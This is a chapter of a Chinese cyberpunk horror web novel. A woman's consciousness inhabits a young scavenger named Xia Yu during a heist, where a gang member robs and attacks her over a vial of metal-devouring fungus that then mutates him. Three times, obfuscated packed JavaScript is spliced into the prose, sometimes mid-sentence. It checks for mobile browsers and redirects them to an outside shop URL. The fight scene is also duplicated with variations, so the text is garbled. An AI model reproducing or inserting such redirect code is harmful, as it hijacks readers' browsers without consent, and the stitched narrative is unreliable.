幽蓝色的系统界面瞬间响应,乖顺地隐入后台。 连映眼前的视野终于清晰起来。 这是一个巨大的、管道纵横的垂直空间回廊。头顶昏暗的穹顶之上,巨大的机械臂如同钢铁巨兽的肋骨般横亘,臂上依稀可见锈迹斑斑的“L1:分拣层”字样。重型机械运作的低频轰鸣声在四面八方响起,顺着脚下的钢铁格栅地板隐约传来,震得脚底发麻。 忽然,一道陌生的男音粗暴地打断了她的观察。 “自己做的?不错嘛!送给我玩玩怎么样?” 话音未落,一只生锈沉重的机械手便蛮横地伸过来,铁钳般的手指一把扣住了她端着枪的手腕,狠狠一扭! “啊——!” 连映听到自己的身体发出了一声吃痛的惊呼。 连映顺着这具身体的目光打量了一圈,大概明白了现在的状况: 她的意识现在似乎正以类似“附身”的形式栖居在一个叫夏雨的年轻女孩身上,她穿着一身创联底层清洁区员工专属的工作服浑身紧绷地躲在一根巨大的冷却管道后面。 她面前正站着一个瘦高、佝偻、一脸阴鸷的男人,右臂和双腿是经过改装的机械义肢,裸露的液压杆上满是陈年的油污和划痕,看着破旧,却透着一股工业化的凶悍。 智能战术目镜自动显出男人的身份:李斯(代号:老鼠),碎铁帮成员。 巨大的力量差距让女孩根本无法反抗老鼠的抢夺,那把她花了大把时间精力做出来的电磁线圈枪,瞬间易主。 “啊!!老鼠你干什么?!” 女孩捂着剧痛的手腕,愤怒地尖叫,身体本能地想要扑上去夺回武器。 “老鼠也是你能叫的?叫李哥!” 李斯毫不客气地将她一掌拍开,熟练地将抢来的略有些沉重的自制枪挎在自己身上。 “你……你又不是没有枪,凭什么抢我的!”夏雨捂着被他打痛的肩膀,气得浑身发抖。前几天,母亲留下的店被碎铁帮以收债的名义抢走,这是她仅剩的东西了。 “什么叫你的?现在是我的了。”李斯冷笑一声,拍了拍自己大腿外侧挂着的那把大口径手炮,又抬起那只沉重的机械右臂,手指几乎戳到了夏雨的护目镜上。 “小丫头,别以为我不知道你在想什么。拿了枪,你是想防着谁?防卫警卫?还是防着我?” 他狞笑着逼近一步,唾沫星子大片喷在夏雨的脸上:“不想被送到窑子里就乖乖听话,不要反抗。今天的行动,老子才是负责杀人的,你只管开门就行。懂吗?” 说着,他挥了挥机械臂,嗡嗡作响的电机声响起,手臂变形为电锯,似乎随时能把夏雨的脑袋切下来。 “要是再敢搞小动作,或者耽误了老子发财,我就把你扔进下面的焚化炉,连子弹都省了。” 形势比人强,夏雨狠狠咬了咬嘴唇,没再作声,但连映能感到,她体内有股灼烧般的怒火和屈辱感越演越烈,像电流一样顺着脊椎直冲天灵盖。 她的恨意太强烈、太刻骨,牙关咬得几乎要碎裂,那种从骨子里透出来的颤抖,深到连映几乎错觉,女孩下一秒就要跳起来向不共戴天的仇人报复。 看她这么激动,是要触发游戏战斗了吗?连映边围观边想,却见系统提示忽地跳了出来: 【触发临时任务:协助载体摆脱生存危机。 任务奖励:共鸣能力盲盒抽奖x1。】 【警告:载体情绪波动异常,即将触发激进行为。】 【推演结果:若发生肢体冲突,存活率<1%。】 【系统提示:共鸣同步率上升10%,达到最低感官同步标准,感官同步开启。】 【注意:若载体死亡,宿主共鸣者095的意识也将遭受重创,最严重可能导致脑死亡。】 “……脑死亡!?”连映不敢置信地对系统抗议,“消极配合居然也不行!?我要退出!你们这样是违法的!” 说实在的,她现在对这个叫夏雨的女孩的遭遇和愤怒不是不能理解,也确实有点同情。但同情贵同情,她说到底只是个看戏的观众,连动动手指都做不到,还被诬陷成了啥杀人犯,凭什么要和身体主人共享危机? 然而,她的抗议如泥牛入海,没有半点回应。 连映又看了一眼系统文字:解决危机的话有个“共鸣能力”盲盒奖励……算了,她也不是见死不救的人,就帮这个看起来甚至都没成年的小姑娘一把吧。 想到这,连映打起精神,迅速扫了一眼局势:李斯抢过枪后,手指并没有离开扳机,那只阴鸷的独眼里甚至带着一丝期待的戏谑,似乎正在等夏雨动手,好名正言顺地解决掉这个“累赘”。 而夏雨……不用说,她对李斯的愤恨已经明显得快要溢出来了。 作为旁观者,连映心头一跳,瞬间明白过来:“老鼠”在钓鱼。 现在夏雨不能冲动,冲动就是送死。 看着夏雨那只已经因充血而发红、即将挥出去的拳头,连映将自己的理智判断,像一盆冰水一样,猛地泼进了这具滚烫的躯壳里。 【冷静点!】连映在意识中向夏雨传递自己的警告,【他在故意诱导你和他动手!】 她不知道这样有没有用,但是她想试试自己的意识到底能否对这具躯体以及躯体主人的意识产生影响。 嗡—— 夏雨心中忽然产生了一种奇妙的感觉,像是心里忽然竖起了一个奇妙的、冷静的警告牌。 随着这种感觉的出现,她原本已经被怒火烧红的视野突然出现了一瞬的清明,一个无比清晰的念头忽然从心底冒了出来:别冲动,他在等你犯错。 夏雨已经抬起的手硬生生僵在半空,理智忽然回笼。 看着面前李斯那只随时能捏碎她喉咙的机械臂,以及他嘴角那抹没来得及收回的残忍笑意,她浑身打了个寒颤,收回手臂,强行将愤恨的冲动压回心底。 “……知道了。” 夏雨低下头,掩住眼中的愤恨,在心里反复告诫自己:形势比人强,她不能冲动,即使要动手,也得找个合适的机会。 李斯在一边有些意外地挑了挑眉,没想到这个平时一点就炸的小野猫今天这么能忍,他还想趁机给她点教训呢。也不知道上面为什么非要把他们俩一块派出来出任务,晦气。 想到这,他不爽地呸了一声,熟练地将抢来的手枪别在腰后,斜乜着眼对眼前带刺的黄毛丫头道: “快去把B3的门打开!主处理区的电弧炉还有三分钟进入冷却循环,是巡逻队换班的唯一空档。” 说完,他转过身,倚在走廊拐角处开始警戒。 【系统提示:由于宿主的意念干预,载体规避死亡节点,X07对您的信任值提升5点。】 【由于信任值提升,您和X-07的同步率微幅上升2%。当前共鸣同步率:12%】 连映在意识深处松了口气。 还好,这丫头虽然冲动,但还没傻透。 但是,刚才那个临时任务并没有显示完成,难道夏雨接下来还会遇到危险? 幕后之人让她经历这一切又是出于什么目的,测试她的道德底线? 连映看着正在低头整理情绪的夏雨,心中升起一点好奇:这两人之间的矛盾,绝对不止是关系恶劣的临时搭档这么简单。搭档需要互相信任才能更好地完成任务,除非……派任务的人另有所图。 有意思。 现在连映倒开始有点期待接下来会发生什么了。 “……” 夏雨平复了一下呼吸,转身走 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17091502|195441||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 向墙壁上的数据端口,咬牙忍耐肩膀被枪托撞击的钝痛,手指飞快地在连接墙壁端口的便携终端上敲击,绿色的代码流随着她的动作刷新。 连映无法控制身体,但能清晰地看到操作界面上的指令: 【目标锁定:L1物流分拣线……指令注入:样本召回……重定向目标:L2-B3隔离舱。】 “搞定。” 半分钟后,夏雨擦了擦鼻尖渗出的冷汗,拔出连接线,“系统显示,那批‘特级生物危害’样本已经被伪装成‘召回检查’件,送进隔离舱了。” “哼,还算有点本事。” 李斯说道,下巴朝走廊尽头那扇标着“B3”字样的厚重铅门扬了扬,“去拿东西。我在外面盯着。” 夏雨压下心头的情绪,转身走向那扇气密门。 “滋——” 随着一声轻微的气压释放声,B3隔离舱的厚重铅门缓缓滑开。 舱内是一个完全无菌封闭、散发着浓厚异味的临时存放区,锈迹斑斑的传送台对着几坨加厚的生物危害处理袋吗,上面印着刺眼的黄色核辐射与生物危害标志。 “就这玩意儿?” 夏雨嫌恶地皱了皱眉,回头看了一眼李斯。 “看什么看?还得老子伺候你?”李斯倚在门口,不耐烦地用机械手指敲了敲门框,发出当当的脆响,“只有两分钟!赶紧把东西找出来!” 夏雨没办法,只能从腰间摸出一把便携折叠刀,忍着恶心,狠狠划开了那个厚重的塑料袋。 “嘶拉——” 随着真空失效,一股浓烈的腥臭味瞬间涌了出来。 “嘶拉——” 随着真空密封失效,一股令人作呕的腥臭味瞬间在狭窄的隔离舱内炸开。 袋子里的东西散落出来:沾满暗红血迹的纱布、断裂的导管、还有各式各样五花八门的不明生物组织切片…… “呕……”夏雨被熏得干呕了一声。 但真正让她——以及寄宿在她体内的连映感到头皮发麻的,是那堆垃圾里的“活物”。 在那堆腐烂的肉块之间,密密麻麻地挤满了无数条白色蛆虫。 连映虽然没法控制身体,但她向来长于观察,感知敏锐,一眼就看出那种蛆虫和普通的相差甚远。 普通的蛆虫是缓慢蠕动的,但这些东西简直就像是上了发条。它们体型比正常的大了一倍,表皮泛着一种诡异的、仿佛沾染了重金属油污般的亮光。 它们正在以一种快进般的恐怖速度疯狂蠕动、翻滚,发出一阵阵令人牙酸的、细密的“沙沙”声。那声音听在连映耳朵里,甚至带有一种躁狂的频率。 不对劲。 连映在意识深处本能地绷紧了神经。 这些虫子的生命体征太亢奋了,那状态,简直像一些磕了药后的癫狂人类。 夏雨现在也恶心得不行,她打了个寒颤,缩了缩手,避开了那团最密集的、正在疯狂啃食橡胶管的蛆虫团。 “快点!别磨蹭!”李斯厌恶地捂着鼻子瞥了一眼垃圾袋里簌簌作响的蛆虫,不耐烦在门口催促,发着红光的义眼在昏暗中警惕地扫来扫去。 “别吵!这堆破烂太多了!” 夏雨咬着牙把戴着加厚防护手套的手颤抖着伸进那堆疯狂蠕动的白肉边缘,心里拼命忍耐那种仿佛有无数虫子在自己身上爬的触觉,指尖在滑腻的触感中摸索。 终于,她触碰到了一个冰冷坚硬的圆柱体。 “找到了!” 夏雨用力一拽,将一个巴掌大的密封透明玻璃瓶拉了出来。 在取出的瞬间,连映注意到,周围那些原本还在疯狂啃食的蛆虫仿佛感应到了某种能量场的波动,竟然瞬间停滞了一秒,随即更加疯狂地朝着玻璃管的方向涌动堆叠。 原来是这东西在影响周围……连映暗自心惊。 “靠,真恶心!” 夏雨在沉降区长大,自然有丰富的观蛆体验。但即便如此,遇上这么大量的加强版蛆虫,她还是像被烫到一样立刻向后跳了好几步,然后才低头查看手里的任务物品。 这是一支密封的透明玻璃瓶,瓶子里充满了暗红色的、如同活物般缓缓蠕动的不明流体,瓶子中央是一枚泛着银灰色微光的金属牌。 夏雨好奇地用手套擦去玻璃表面的不明恶臭黏液,借着应急灯的红光,细细观察那枚金属牌上蚀刻的图案。 这是一个由无数根极细的银色线条构成的漩涡般的眼睛。 在夏雨眼里,这是个相当美丽的图案,那只半闭的眼睛仿佛随着她的注视缓缓睁开了,瞳孔深处的星芒在流淌,散发着一种难以言喻的、温暖而神圣的吸引力。 “好温暖……难怪会里一定要我们找到它……”夏雨有些移不开眼,甚至产生了一种想要顶礼膜拜的冲动。 然而,寄宿在她体内的连映却情不自禁地悚然一震。 “这是——!” 不仅仅是因为生理性排斥,更因为,这个图案,和刚刚审讯时那段诡异浮现的陌生记忆里,易楚生胸口那个发着红光的漩涡状眼睛—— 一模一样。 4. 一模一样的图案 刚才噩梦闪回里,易楚生敞开的胸口上,那团在他皮下过载、燃烧的红色光芒,构成的正是这个让人看一眼就头晕目眩的漩涡般的眼睛。 那个曾在死人身体里发光的恐怖轮廓,此刻竟然变成了冰冷的实体。 它就像是从那段令人战栗迷茫的记忆碎片里掉出来的证物,静静地躺在夏雨的手心里,散发着无声的寒意。 而且,和夏雨不同,在连映看来,这东西根本不是什么神圣的图案。 那银牌表面蚀刻着无数互相吞噬的流体纹路,层层线条以一种极不自然的弧度层层向内卷曲,只需凝视片刻,牌上雕刻的静止浮雕便仿佛化作了缓缓旋转的液态漩涡。 而在漩涡中心,嵌着一枚深红色的晶体,整个图案看起来就像一只由无数银色触须构成的、正在冷冷注视的暗红色竖瞳。 “东西拿到了?” 李斯走了过来:“这就是那些疯子费尽心思想要的东西?就这么一小瓶破烂?呦呵,这个图案我怎么有点眼熟——” 他眼里闪过一抹兴味,伸手就来抢夏雨手里的东西。 夏雨反射性地一躲,脸上挤出一个笑:“别别!李哥,这种累赘哪能让您拿?您可是主力输出,一会儿遇敌还得腾出手来开枪呢!我就是个拎包的,东西放我这,绝不耽误您发挥!” “少废话!老子拿着才安全!” 李斯根本不吃这套,见夏雨动作防备,那只生锈的机械手直接蛮横地抓了过去。 夏雨又一次身手灵活地闪身躲开,却不小心碰倒了身前的垃圾袋,“哗啦”一声,狂躁的蛆虫四散奔逃,一抹幽蓝色的冷光从那堆污秽的烂肉深处显现出来。 两人的动作同时停住了。 沉降区的人都对能卖钱的东西有着本能的敏锐,夏雨和李斯也不例外。 “等等,那是什么?” 李斯先一步反应过来,伸手推开夏雨,弯下腰,那只生锈的机械手不顾脏污,直接伸进那堆还在蠕动的蛆虫里,两根手指精准地夹起了那个蓝色发光的东西。 夏雨不敢和他抢,不甘心地看了过去。 看清那个东西的瞬间,寄宿在她体内的连映怔住了。 那是一枚弯月形胸针。 即便沾染了污秽,底座有些变形,但弯月中央那颗蓝宝石依然在昏暗的红灯下折射出令人心醉的冷冽幽光。 “!!!” 强烈的震惊像电流般瞬间击穿连映的意识。 怎么可能…… 那是她的东西。 或者说,那曾是她的东西。 那是去年生日时闻阗送她的胸针,价格并不贵重,却是专门定制的,没有第二件。前几天提分手时,她已经还给了他。 连映心中疑云翻腾。 它为什么会在这里? 它怎么会出现在创联大厦最底层的、处理剧毒生物废料的垃圾堆里?! 不对,调查官放的那段监控里的人戴的也是这个胸针。 难道闻阗他真的…… “哟,好东西啊。” 李斯吹了声口哨,用满是油污的大拇指用力擦了擦宝石表面,那原本晶莹剔透的宝石被他粗鲁的动作弄得吱嘎作响。 “……” 连映在夏雨的意识里冷冷地看着李斯的动作,心里很是不快。 她很想把东西抢回来,可惜现在她什么都做不了,只能在夏雨体内冷眼旁观,等待时机。 也许是这股负面情绪太过强烈,以至于夏雨感到胸口一阵莫名的发闷。 “成色不错,可惜裂了。公司人就是有钱,这么好的东西说扔就扔。” 李斯贪婪地对着光照了照,“不过,拿回去说不定也能卖几个钱。” “那是……”夏雨下意识地想要开口,也不知道该说什么,但她总觉得,这东西应该归她,而不是老鼠。 “闭嘴。”李斯看都没看她一眼,理所当然地将胸针塞进了自己胸口贴身的战术口袋里。 “这是老子的精神损失费。”他拍了拍胸口,目光又落回夏雨手里的玻璃管上,眼神变得阴狠起来。 “至于这个……” 他伸手抓向夏雨怀里的东西:“拿来。” 夏雨本能地把玻璃管往怀里一缩:“等等,李哥!这是会里的任务物品,柳姨说过必须由会里的人保管……” “去他的会里!” 李斯十分反感地破口大骂,耐心尽失,机械大手直接抓向夏雨的手臂。 就在这时。 “滴——滴——滴——!” 刺耳的警报声突然在回廊深处炸响。紧接着是沉重的机械足音和电子猎犬的狂吠声,正以极快的速度向这边逼近。 “操!巡逻队!” 李斯脸色一变,顾不上抢夺,转身就往外跑。 前面就是岔路口,夏雨下意识地想要往左边的通风管钻——那里窄小,适合她一个人逃生,也能甩掉李斯。 “往哪跑?给老子回来!”李斯虽然在逃命,但余光一直死死盯着夏雨(或者说是她怀里的东西)。见她想分头跑,他猛地伸手,一把薅住夏雨的后领,像拖死狗一样把她拽向右边的通道: “带着老子的钱想去哪?跟着我!少一步老子毙了你!” 前方的机械足音越来越近,左边的路已经被封死了。 夏雨咬牙,看着自己唯一的重火力武器还在李斯手里,只能被迫跟上,两人一前一后在迷宫般的管道里狂奔。 李斯跑在前面,那只装了胸针的口袋随着他的动作晃动,像一根刺扎在连映眼里。 【警告:外部威胁等级上升!载体一旦被捕或死亡,宿主意识将遭受重创,严重可致脑死亡。】 【临时任务更改:协助载体逃离追捕,并摆脱生存危机。 任务奖励:共鸣能力盲盒抽奖x1。】 一连串红色的系统信息在连映眼前疯狂弹窗,连映心头紧张,无暇细看,匆匆关掉。 “这边!” 李斯一脚踹开了一扇锈蚀的铁门,两人冲进了一个巨大的、已经停运的废料粉碎井平台。 然而,冲进去的瞬间,两人都愣住了。 通道尽头是一台已经生锈的废弃物粉碎机,和旁边断崖般的深井。 这是一条死路。 “没路了……”夏雨绝望地后退一步。 身后,巡逻队的脚步声暂时被铁门隔绝在外。 在这个封闭的死角里,空气突然变得死寂。 李斯转过身。 昏暗的应急灯打在他半张金属、半张皮肉的脸上,将那只义眼映得猩红如血。 危机暂时解除,他的贪婪再次占领了高地。 “正好。” 他堵住了唯一的出口,一步步逼近夏雨,嘴角扯开一个恶意的弧度,那只完好的左手再次摊开: “这里信号不好,也没人打扰。把包给我。” 夏雨背靠着冰冷的墙壁,浑身肌肉紧绷,手悄悄伸向了袖口里的电击器:“李哥,还没出去呢。东西沉,我背着就行。” “还要我废话第二遍?” 李斯不耐烦地拔出了那把从夏雨那里抢来的电磁枪,黑洞洞的枪口直指夏雨的眉心。 “小丫头,别以为我不知道你在想什么。在这个队伍里,老子负责杀人,你负责去死。懂吗?” “那是会里要的东西。”夏雨咬着牙,死死护住腰包,“柳姨说过,东西必须由专人……” “柳姨?” 李斯像是听到了什么笑话,嗤笑一声,向前逼近了一步。 狭窄的通道里,他高大的身躯像一堵墙,彻底堵死了夏雨的去路。 “小丫头,你还真以为我会陪你和那群神经病过家家?” 他压低声音,语气里透着毫不掩饰的贪婪: “这可是蚀械菌,黑市上有价无市的硬通货。虽然不知道这一瓶小东西为什么这么贵,但也不关我事,只要把它卖给那帮一定要搞死创联的恐怖分子,够老子换一身顶级的军用义体,再在那帮娘们儿肚皮上滚一辈子。” “至于你?” 李斯狞笑着,枪口抬起,直指夏雨的眉心: “你是为了掩护我,在撤离途中不幸遭遇了意外……连尸体都被冲进了下水道。多感人啊。” 唉,果然是这样。 连映在心里叹了口气。 典型的黑吃黑剧本。 夏雨的呼吸急促起来,眼中渐渐浮现隐藏已久的憎恨与狠色。 “想要?” 她盯着李斯,手慢慢伸向腰包,“行,我给你。” 李斯得意地眯起眼,就在他伸手的瞬间—— “做梦去吧!” 夏雨一声暴喝,手腕猛地一翻! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17091503|195441||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “滋啦——!” 夏雨伸进腰包的手猛地抽出! 她手里并没有拿那个装蚀械菌的玻璃管,而是握着一根经过非法改装的高压过载探针,那是她修机械用的吃饭家伙。 “去死吧!!” 夏雨一声暴喝,不退反进,像只发狠的野猫,狠狠将探针插向李斯机械臂的外部伺服接口! 那是老型号义体的通病——接口防护薄弱。只要插进去,瞬间的高压电流就能瘫痪这只手。 “啪!” 一声脆响。 探针扎进去了。蓝色的电火花爆闪。 然而,李斯并没有像夏雨预想的那样惨叫瘫痪。他的机械臂只是僵硬了一瞬,发出几声刺耳的电流音,随即恢复了运转。 “呵……” 李斯低头看着扎在手臂上的探针,又抬头看着满脸惊愕的夏雨,眼神像在看一只试图咬死大象的蚂蚁。 “小丫头,这招对付外面的混混还行。但我这只手……可是军用级的绝缘涂层。” 他猛地一挥手。 “砰!” 夏雨直接被甩飞出去,重重撞在墙上。 “给脸不要脸!”李斯暴怒,杀意四溢。 夏雨顾不上剧痛,狼狈地爬起来,在李斯拔枪的瞬间,从包里摸出两枚磁吸附式微型爆雷,甩手掷向李斯! “轰!轰!” 爆炸声不算剧烈,也并没有击中李斯,但产生的冲击波和碎片成功阻滞了李斯的脚步,也引爆了旁边几个脆弱的废弃容器,各种零件和黏液四散飞溅。 “没招了?”李斯毫发无伤地啐了一口掺着灰尘的唾沫,步步紧逼,枪口再次抬起。 夏雨咬咬牙,从包里迅速掏出作为最后退路的强光爆震球,狠狠砸在地上! “砰!!!” 刺目的白光在狭窄的通道里瞬间炸裂,伴随着足以震破耳膜的高频噪音。 “啊——!操!” 李斯的电子义眼虽然有强光过滤,但这种近距离的爆闪还是让他出现了短暂的视觉过载,视野里瞬间一片雪白。他惨叫一声,下意识地扣动了扳机。 “砰!砰!” 子弹在狭窄的空间里乱飞,打在墙壁上溅起一串串火花。 借着这一瞬的混乱,夏雨像只受惊的猫,就地一滚,从李斯的身侧钻了过去,疯了一样向道路尽头冲了过去。 “雕虫小技!” 李斯在烟雾中带着怒意跟在身后,凭借加强的听觉模块,朝着夏雨后退的方向连续开枪! “砰!砰!” 子弹穿透烟雾,打在金属壁上溅起火花。 夏雨捂着被流弹擦伤流血的手臂在迷宫般的管道里狂奔,身后传来李斯暴怒的咆哮和沉重的机械足音,肩胛和背部火烧火燎地痛。 其实夏雨心里清楚,自己的装备和身手对付街头的混混绰绰有余,但在李斯这种经验丰富的帮派清道夫面前,根本不够看。 但即使如此,她本来也不会这么被动,可惜最重要的武器已经被他抢走了,她只能奋力一搏。 死亡的恐惧像毒蛇一样噬咬着她的心脏,但更多的是不甘。 凭什么?凭什么她们这种人就该被当成耗材? 夏雨站在护栏边,看着李斯一步步走过来,义眼还流着冷却液,显然刚才那一下让他受损不轻,但这让他看起来更加狰狞恐怖。 “跑啊?接着跑啊?” 他步步紧逼,将夏雨逼到墙角。 “我可以把东西给你。”夏雨忽地开口道。 她冷冷地看着李斯,脸上的怯懦不知何时消失了,变成一种带着愤恨的冷静。 李斯愣了一下,这眼神让他感觉很不舒服,就像是原本盯着的一只兔子突然露出了獠牙。 夏雨嘴角勾起一抹冷笑,手慢慢伸向腰包。 李斯得意地眯起眼,就在他伸手的瞬间—— “做梦去吧!!” 夏雨一声暴喝,手腕猛地一翻! “滋啦——!” 她手里并没有拿那个装蚀械菌的玻璃管,而是握着一根经过非法改装的高压过载探针。 那是她平时修重型机械用的吃饭家伙,被她改成了能瞬间释放十万伏特高压的杀人利器。 夏雨不退反进,像只终于亮出利爪的野猫,狠狠将探针插向李斯机械右臂的外部接口! 5. 蚀械菌 “啪!” 一声脆响,蓝色的电火花爆闪。 因为常年帮助母亲维修碎铁帮成员那些乱七八糟义体,夏雨知道,只要插进去,瞬间的高压电流就能瘫痪这只手,甚至烧坏他的神经中枢。 然而,事实却不如她预想的那般顺利。李斯的机械臂只是僵硬了一瞬,随即恢复了运转。 夏雨眼睛瞬间睁大:“不可能!你怎么——?” “我怎么没事?呵……” 李斯低头看着扎在手臂护甲上的探针,轻蔑地扯了扯嘴角。 “小丫头,你的情报过期了。我这只手可是新换的军用级的绝缘涂层。” 他猛地一挥手。 “砰!” 夏雨直接被机械臂的怪力甩飞出去,重重撞在栏杆上。 “给脸不要脸!”李斯暴怒,杀意四溢,拔出了那把从夏雨那里抢来的电磁线圈枪。 夏雨顾不上剧痛,狼狈地爬起来。但她没有逃,而是再次展现出了机械师的狠辣。她在李斯抬枪的瞬间,从包里摸出两枚磁吸附式微型爆雷——这是她用废弃矿山□□改的。 “尝尝这个!!” 她甩手将爆雷掷向李斯左右两侧的金属墙壁! “轰!轰!” 爆炸声在狭窄的通道里震耳欲聋。 虽然这种□□炸不死穿护甲的李斯,但冲击波和飞溅的金属碎片成功干扰了他的瞄准,也让他下意识地护住了头脸。 趁着这个间隙,夏雨捂着流血的手臂,疯了一样冲向通道深处的死角——那座巨大的废弃粉碎机旁。 “没招了吧?” 烟尘散去,李斯几乎毫发无伤地走了出来,啐了一口唾沫,眼里的戏谑变成了残忍的杀意。他一步步逼近,将夏雨堵在了粉碎机和悬崖栏杆之间。 “身手不怎么样,阴人的工具倒是挺多。” 李斯举起枪,直指夏雨的眉心,“可惜,在绝对的力量面前,你那些破铜烂铁就是笑话。” 身前是枪口,身后是深渊,夏雨退无可退,喘着粗气,眼底的愤恨变成孤注一掷的绝望。既然杀不了他,那就谁都别想好过! 她猛地把手伸进腰包的防震夹层,一把抓出了那支冰冷的玻璃密封管。 “别过来!!” 夏雨高举着那支装着暗红色粘液的管子,声音尖利:“再过来一步,我就砸了它!咱们谁也别想活!” 李斯的脚步猛地一顿,看着那个价值连城的瓶子,他投鼠忌器,不得不垂下枪口。 “……冷静点。”李斯停下脚步,脸上堆起一个虚假的安抚笑容:“丫头,别冲动。把它摔了,你我都得喝西北风,还得被碎铁帮追杀。值得吗?” 他一边说,一边极其缓慢地摊开双手,示意自己没有恶意。 “把东西给我。我发誓,拿到钱分你三成……不,四成!你想想你那死鬼老妈欠的债……” “闭嘴!”夏雨尖叫道,“退后!退到那个阀门后面去!把枪踢过来!” “好,好,我退……” 李斯假装后退了半步,身体重心微微后移。 就在夏雨眼神因高度紧张而稍微松懈的一瞬间。 “滋——!” 李斯那条改装过的机械右腿突然发出电机加压的尖锐鸣响,爆发出惊人的力量,他整个人像一颗出膛的炮弹,五米的距离眨眼即至! 他根本没打算谈判,也没打算开枪。他要凭借义体绝对的速度和力量,直接把人拿下! “拿来吧你!!” 李斯狰狞的脸瞬间贴到了面前,那只强有力的机械手像铁钳一样狠狠抓向夏雨手上的瓶子。他太自信了,自信凭他的速度,能在拿到瓶子的瞬间,顺手捏碎她的骨头。 可惜,事实也并不如他所想。 “那就谁都别想要!!” 就在李斯扑过来的同时,夏雨身子一斜,借着李斯扑过来的巨大惯性,死命把手里的东西往旁边那台生锈的重型粉碎机上一磕—— “啪!!!” 清脆的碎裂声在空旷的深井中回荡,宛如地狱大门的铃音。 李斯抓了个空。 那支价值连城的玻璃管狠狠撞击在钢铁外壳上,瞬间粉碎。 “嘶——” 暗红色的粘液飞溅而出,在接触空气的瞬间发生了剧烈的汽化反应,像一团浓重的暗红色血雾像有生命的触手一样瞬间炸开,淋了李斯一腿,也溅到旁边那堆生锈的机械零件上。 “蠢货!你他妈疯了?这东西值多少钱你知道吗?” 极度的贪婪瞬间转化为极度的暴怒。李斯双目赤红,咆哮着抡起那只沉重的机械右臂,对着失去平衡的夏雨就是狠狠一记摆拳。 “砰!” 夏雨像个破布娃娃一样被直接抽飞了出去,重重地摔进了几米开外的一座工业垃圾山里,那堆废弃缓冲泡沫和烂电线虽然缓冲了大部分冲击力,但巨大的震荡还是让她浑身如同散了架般,头晕目眩,剧痛不已。 “哼,下一拳就是你的死期!” 李斯正想补刀,忽然异变陡生! “咕叽——滋滋——” 一阵令人毛骨悚然的、仿佛千万只蚂蚁啃食骨头的细密声响,突然从李斯脚边响起。 李斯低头一看,脸色瞬间变了。 接触到空气的瞬间,那暗红色的粘液仿佛被什么东西无形催化,仿佛被注入了狂暴的生命力,骤然沸腾起来! 无数菌丝像炸开的线虫一样疯长,它们贪婪地钻进了那堆腐烂的垃圾里,也贪婪地钻进李斯那条昂贵的机械腿的缝隙里! “啊——!!” 李斯突然发出一声惨叫。 他惊恐地发现,自己的机械腿竟然“活”了! 在那滩飞溅的暗红色液体中,令人毛骨悚然的一幕发生了。 那些菌丝正在疯狂吞噬义体内的电路和合金,将其转化为某种半生物半机械的扭曲组织,并顺着神经接口,疯狂地向他的大腿根部、向他的□□蔓延! 李斯的右腿瞬间膨胀了一倍,无数根暗红色的血管缠绕在生锈的液压杆上,像是有生命的肌肉在搏动。 “这……这是什么鬼东西?!” 夏雨跌坐在地上,惊恐地向后挪动。 在她眼中,这根本不符合任何机械原理或生物常识。那条腿正在“吃人”,也在“吃铁”。 寄宿在体内的连映也被这一幕惊到了,强烈的生理性反胃让她(和夏雨)几乎要呕吐出来。 【警告:检测到高活性生物侵蚀源!】 【警告:目标正在发生不可逆变异!】 系统突然跳出来,在连映脑海中尖锐示警。 “变异……李斯变成怪物了!” 连映看过关于“蚀械菌”的文章,那东西据说是一种嗜金属、嗜电的真菌,本质上是一种极难清除且传播极快的真菌类生物武器,对血肉无感,对人体无害,是联邦和北盟大战时的产物。 可眼前这玩意儿,好像什么都能吞噬……她瞠目结舌地看着眼前突变的克系恐怖片场景,目光落到地上的金属牌上。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17091504|195441||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 不知怎的,连映感觉到它似乎正在散发形的波,隐隐引导、催化着那些狂暴的暗红色菌丝随波起舞! 那个金属牌……可能是个增幅器!连映心里猜测道。 “滚开!滚出我的身体!!” 李斯疯了般地咆哮,他试图用手去抓挠那条腿,但手指刚碰到菌丝,就被狠狠地黏住、腐蚀,剧痛让他的理智彻底崩断。 他猛地抬起头,那只仅剩的独眼里充满了布满红血丝的疯狂与怨毒,死死锁定了不远处的夏雨。 “是你……是你害我!!” 此刻他尚未失去理智,反而是力量暴涨的快感压倒了痛觉,使他处于一种极度亢奋的杀戮状态,脸上青筋暴起,瞳孔因为过度的肾上腺素分泌而缩成针尖大小,嘴角挂着不受控制的涎水,但眼神却死死锁定了夏雨。 “咚!咚!咚!” 那是李斯的脚踏在地上的声音,缓慢、沉重却极其有力! 